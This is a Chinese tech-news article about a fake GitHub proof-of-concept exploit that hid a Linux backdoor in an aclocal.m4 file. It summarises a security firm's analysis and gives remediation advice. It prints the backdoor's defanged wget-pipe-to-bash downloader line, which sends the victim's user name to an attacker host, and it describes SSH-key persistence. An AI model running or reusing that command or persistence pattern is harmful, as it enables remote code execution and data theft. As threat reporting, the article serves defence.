小心！别被假的 GitHub 存储库骗了

整理 | 屠敏

出品 | CSDN（ID：CSDNnews）

作为全球开发者的主要聚集地，需要时刻警惕的是，你有时候打开的 GitHub 存储库可能是假冒的，甚至还有可能含有恶意软件！

近日，一个被安全研究人员视为“披着羊皮的狼”的漏洞被揭晓，之所以这样定义，是因为这一技术本来是安全研究人员用来挖掘潜在漏洞的一种方式，没想到，它却被黑客拿来给安全人员“埋坑”。

假的 PoC 就是一头「披着羊皮的狼」

这项技术被称之为 PoC（Proof of Concept），即概念验证。 通常是企业进行产品选型时或开展外部实施项目前，进行的一种产品或供应商能力验证工作，也是业界流行的针对客户具体应用的验证性测试。

然而，安全分析平台开发商 Uptycs 偶然间发现，一名用户在 GitHub 上（ 现已被停用）发布包含 Linux 后门的虚假概念验证（PoC）来欺骗安全研究人员。

这个恶意 PoC 作为下载程序运行，将其活动伪装成内核级进程，同时默默地执行 Linux Bash 脚本。

Uptycs 的这一最新发现引起了安全研究界的担忧，因为该后门能够窃取非常广泛的数据，包括主机名、用户名和主目录内容的完整列表。

此外，通过将 SSH 密钥添加到 authorized_keys 文件中，攻击者可以实现对目标系统的完全控制。

揭开假冒的 GitHub PoC 面纱

GitHub 中用于传播恶意 PoC 的虚假配置文件之一

「从表面上看，它似乎是一个真实的演示，并配有模仿真实输出的字符串」，研究人员说道。

但是当运行代码时，却触发了系统中的“重大异常情况”，如意外的网络连接、异常数据传输和未经授权的系统访问尝试等等，这一点引发了研究人员对 PoC 合法性的怀疑。

唯一的区别是多了一个文件--src/aclocal.m4，这个文件充当 Linux bash 脚本的下载器。其实不注意看，还真的不一定看出来。

PoC 存储库文件

根据研究人员的表述，aclocal.m4 通常是 automake 的一部分，由 autoconf 用来合并宏。它通常不是一个 elf（可执行和可链接格式）文件，但是在这里，它却是的。

进一步深究发现下图中显示了 make 如何触发 src/aclocal.m4。

有问题的 makefile

技术分析

为了进一步发现问题所在，研究人员对 aclocal.m4 进行了反编译分析。最终发现，二进制文件的 main 函数以一个有趣的字符串 kworker 开头，如下图所示：

二进制文件

其中，第 79 行检查二进制文件是否名为 kworker。如果为 true，转向第 84 行的 else 条件。如果不是，则执行两个函数 copy_to_kworker 和 add_to_bashrc。

这一步是为了建立后门持久性，这两个函数将当前文件复制到 $HOME/.local/kworker，并将其文件路径添加到 $HOME/.bashrc 文件。

为了掩盖其存在，程序将自己嵌入到 bashrc 中。check_for_pidfile 函数（下图所示）有助于确保同一程序的多个实例不会同时运行。

check_for_pidfile 函数

检查 /tmp/.ICE-unix.pid 路径后，如果没有函数使用 flock(2) 来限制文件访问，则写入当前运行进程的 PID。只有当 main 函数返回 zero（0），表示当前进程是独占进程时，程序才继续执行。

main 功能的其他部分

通过 fork 程序，在主函数中创建了一个新的字符串 [kworker/8:3] 来掩盖原来的命令行参数。随后，父进程执行 curl_func 函数，该函数使用 libcurl 库下载一个经过混淆的 URL，这样基本的静态分析就无法轻易找到它。

该 URL 是 hxxp[:]//cunniloss[.]accesscam[.]org/hash[.]php；它包含一个 bash 脚本，如果 curl 请求成功，该脚本就会被运行。

(libcurl 提供了对 curl 的编程访问；它可以直接包含在二进制文件中{静态编译}或动态调用）。

摘自 curl_func

下载 bash 脚本的代码部分

%s 变量被 curl 请求输出所代替，这意味着下面是 kworker 运行的命令：sh -c wget -q -O - http[:]//cunniloss[.]accesscam[.]org/do[.]php?u=$(whoami) | bash 2>&1 > /dev/null

解构虚假 PoC

伪造的 modprobe.c 中的 new_sn 函数分配内存，试图打开一个特定的文件，如果成功打开则关闭文件，生成一个随机数，然后暂停程序执行一段随机的时间。

PoC 之间 modprobe.c 的比较（左边是虚假的，右边是原始的）

prepare_root_shell 函数打印一些字符串，并根据条件调用 setup_modprobe_payoad 函数。完成这些操作后，以状态代码 0 退出。

打印看起来合法的字符串的代码部分

前面提到的 setup_modprobe_payoad 为变量 filename 赋值，然后执行 /bin/sh 命令打开一个新的系统 shell。然后释放分配给 filename 的内存。

显示它正在伪造 shell 的代码段

在整个过程中，假 PoC 会随机休眠一段时间，打印看起来合法的字符串，最终启动一个 /bin/bash shell。

研究人员表示，“奇怪的是，当在这个 shell 中执行 whoami 时，它会将用户 ID 错误地报告为 root。这种欺骗是通过利用 PoC root shell 内外用户命名空间 ID 的不同来实现的。”

列出 PoC root shell 内的命名空间

列出 PoC root shell 外部的命名空间

上面两张图中，两个 shell 的用户命名空间不同，这意味着它们使用了两个不同的命名空间。

在这里，虚假 PoC 利用命名空间概念来制造 root shell 的假象。具体来说，它操纵用户命名空间，该命名空间负责管理特定进程或容器中的用户和组身份。但实际上，授予的权限仅限于给定命名空间内的 /bin/bash shell。

最终，安全研究人员通过使用其内部工具，检测到该二进制文件主要充当下载程序，从远程源检索脚本并在受感染的系统上执行它。

执行后，下载的脚本最初访问 /etc/passwd 文件。然后它修改 ~/.ssh/authorized_keys 以授予未经授权的访问权限，并使用 curl 通过 transfer[.]sh 窃取数据。

两个 GitHub 存储库已删除！

通过调查发现，这一切的始作俑者是一位叫做 ChriSanders22 的 GitHub 用户，而且这位用户无论是上传的头像，还是个人资料填写，也都是窃取其他人的。

目前，在发现这一漏洞之后，该配置文件和恶意 PoC 都已经被删除。

对此，据外媒 DarkReading 报道，GitHub 发言人表示，“我们根据 GitHub 的可接受使用政策删除了这些内容，该政策禁止发布直接支持非法主动攻击或造成技术损害的恶意软件活动的内容。”。

不过，需要警惕的是，虽然恶意 PoC 已经从 GitHub 上被删了，但是研究人员发现并公开这个漏洞时，两个包含假 PoC 的存储库已经分别被 fork 了 25 次和 20 次，所以，只要是执行 PoC 的人都面临着很高的数据泄露风险。

为此，研究人员也提供了几条建议，包括删除未经授权的 SSH 密钥、删除“kworker”文件、从“bashrc”文件中删除 kworker 路径以及检查“/tmp/.iCE-unix.pid”中是否存在潜在威胁。

之前的恶意存储库地址如下， 目前已删除：

其实近段时间，采用 PoC 方式投放恶意软件的事件并非第一次发生，就在上个月，也有报道称 GitHub 和 Twitter 上的几个虚假账户正在以 PoC 形式传播恶意软件，这些恶意软件感染了基于 Windows 和 Linux 的系统。

让研究人员深感无奈的是，即使假的 PoC 与合法的 PoC 明显重叠，只要没有在外部发现“网络钓鱼”或“恶意软件后门”时，GitHub 也做不了什么，因为在 GitHub 上复制并上传相同的代码并不违法。

在此之下，研究人员也建议，安全专业人员在网络空间中保持与客户同样的谨慎和准备，始终在虚拟环境中进行测试，因为你不知道作恶的人会在什么时候出现。

参考：

https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware

https://www.darkreading.com/attacks-breaches/linux-hacker-exploits-researchers-with-fake-pocs-posted-to-github

▶腾讯回复微信好友上限约为 1 万个；曝苹果正开发 iPad Air 6：搭载 M2 自研芯片；百度开源 BifroMQ|极客头条

▶ 如何写出别人能读懂的代码

▶ 打工人又被 AI “误伤”！印度 CEO：“我裁了 90% 的技术支持团队，都外包给了 AI” 返回搜狐，查看更多

责任编辑：